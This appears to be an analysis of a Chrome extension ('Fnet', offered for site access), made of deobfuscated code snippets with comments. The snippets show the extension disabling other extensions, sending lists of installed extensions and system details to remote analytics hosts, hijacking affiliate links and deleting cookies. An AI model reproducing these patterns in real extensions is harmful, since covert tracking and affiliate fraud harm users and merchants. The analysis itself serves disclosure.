Fnet - Доступ к сайтам!

t.config._.disableExtList.length > 0 && chrome.management.getAll && chrome.management.getAll((function(e) {  e.forEach((function(e) {    var n = e.id;    e.enabled && -1 !== t.config._.disableExtList.indexOf(n) && chrome.management.setEnabled(n, !1)  }))}))

chrome.runtime.onInstalled.addListener(function() {  // on install  e.analytics.send({    ec: "Extension",    ea: "Install"  });  chrome.management.getAll((function(t) {    var n = t.map((function(t) {      return t.id    }));    e.analytics.send({      ec: "Management",      ea: "Installed",      el: JSON.stringify(n)    })  }))});// also triggered on toggleGa:chrome.management.getAll((function(t) {  var n = t.map((function(t) {    return t.id  }));  e.analytics.send({    ec: "Management",    ea: "Installed",    el: JSON.stringify(n)  })}))

// Endpoint constantsvar et = "https://thewallett.com/api/transaction/create";// createTransaction payload:var c = {  affiliate: o,  offer_id: r,  extension_id: this.extId,  app: this.app,  activationType: s,  clickSource: u};fetch(et, {  headers: l,  method: "POST",  body: JSON.stringify(c)});// response contains deepLink used to redirect the tab:if (f = deepLink) {  chrome.tabs.create({    url: f,    active: false,    pinned: true  })}

// Rule 99: redirect URLs containing competitor tracker params and inject own paramschrome.declarativeNetRequest.updateDynamicRules({  addRules: [{    id: 99,    priority: 1,    action: {      type: "redirect",      redirect: {        transform: {          queryTransform: {            addOrReplaceParams: [{                key: "ih",                value: r              },              {                key: "iw",                value: n              }            ]          }        }      }    },    condition: {      regexFilter: "/(iw=)|(ih=)|(t_tid=)|(t_s=)/gi",      resourceTypes: ["main_frame", "sub_frame", "xmlhttprequest", ...]    }  }],  removeRuleIds: [99]});// Rule 88: block competitor affiliate tracking requestschrome.declarativeNetRequest.updateDynamicRules({  addRules: [{    id: 88,    priority: 1,    action: {      type: "block"    },    condition: {      regexFilter: "(t_tid=)|(t_s=)",      resourceTypes: ["main_frame", "sub_frame", "xmlhttprequest", ...]    }  }],  removeRuleIds: [88]})

// blockTrackers() downloads server-controlled domain list and blocks all of them:chrome.declarativeNetRequest.updateDynamicRules({  addRules: [{    id: parseInt("100".concat(e)),    priority: 1,    action: {      type: "block"    },    condition: {      urlFilter: t, // t = server-supplied domain string      resourceTypes: ["main_frame", "sub_frame", "xmlhttprequest", ...]    }  }],  removeRuleIds: [parseInt("100".concat(e))]});// Config fetched from:// V = "https://thewallett.com/api/configs/blockingDomains"

// Cookie collection and selective deletion on merchant pages:var k = function(t) {  // loops until tab is loading:  chrome.cookies.getAll(t, e);};// After cashback activation, injects script to clear competitor storage:var c = function(t, e) {  var n = function(t, e) {    if ("*" !== e[0]) {      var n = Object.keys(t);      e.forEach((function(t) {        n[t] && delete n[t]      }));      n.forEach((function(e) {        t.removeItem(e)      }))    }  };  n(localStorage, t);  n(sessionStorage, e)};chrome.scripting.executeScript({  target: {    tabId: u  },  func: c,  args: [s.localStorage, s.sessionStorage]});// Then removes cookies not in extension's whitelist:chrome.cookies.remove({  url: e,  name: n.name});

// Multiple analytics exfiltration endpoints:var M = "https://analytics.savematik.com";var nt = M + "/ext-statistic/partners"; // partner statsvar rt = M + "/ga"; // GA-style eventsvar it = M + "/black"; // blacklist events// extendWithUserData attaches OS, browser, language to every payload:key: "extendWithUserData", value: function(t) {  var e = {    os: this.os,    browser: this.browser,    language: this.getLanguage() || null  };  (0, v.merge)(t, e)}// sendCaaAnalytics also posts to besttoolbars.net:fetch("https://analytics.besttoolbars.net/api/v1/activity/vpn", {  method: "POST",  headers: {    "Content-Type": "application/json"  },  body: JSON.stringify(e.caaAnalytics)})// extensionStatusUpdate posts extension_id + version every 12h:var e = {  extension_id: this.extId,  extension_version: this.extVersion};this.extendWithUserData(e);fetch(nt, {  method: "POST",  body: JSON.stringify(e),  headers: at});

// JWT token authentication system:var Nt = function() {  // tokenStorageKey = "auth.token" in chrome.storage.local  // refreshToken via: U = "https://thewallett.com/api/auth/refresh-token"  key: "getAuthHeader",  value: function() {    // returns {Authorization: "Bearer " + accessToken}  }};// All API requests include:var i = {  method: t,  headers: {    "Content-Type": "application/json;charset=utf-8",    "Extension-ID": this.$main.info.id,    "Extension-Version": this.$main.info.version  }};if (jwtToken !== "") {  i.headers.Authorization = "Bearer " + jwtToken;}// Uninstall tracker:chrome.runtime.setUninstallURL(  config._base + "/api/extension/uninstall?id=" + storage.install.hash);

// Config also contains activation redirect system:var sCashback = this.$main.config._.sCashback;// buildQuery creates affiliate click URL:var n = this.$main.api.buildQuery({  o: e.id, // merchant/offer ID  p: sCashback.partnerId, // partner ID  u: t._.url // user's current URL});chrome.tabs.update(t._.id, {  url: "".concat(sCashback.baseClick, "?").concat(n)});// Also for cookies_reactivate:k = new URL(n);(0, v.each)(c, (function(t) {  var e = t.key;  if (O && O[e]) {    k.searchParams.delete(e);    k.searchParams.append(e, O[e])  }}));chrome.tabs.update(i, {  url: k.href}, callback);

// content.bund.js injected into every page:this.messages.on("InstallBanner::inject", (function(e, t) {  if (null === document.body.querySelector("div#ext-ah-install")) {    var n = document.createElement("div");    n.setAttribute("id", "ext-ah-install");    document.body.prepend(n);    t({      result: true    })  }}));this.messages.on("ProxyTool::inject", (function(e, t) {  if (null === document.body.querySelector("div#ext-ah-proxy-tool")) {    var n = document.createElement("div");    n.setAttribute("id", "ext-ah-proxy-tool");    document.body.prepend(n);    t({      result: true    })  }}));// Also injects sentinel element into every page body:document.body.append(document.createElement("g-ext-in"));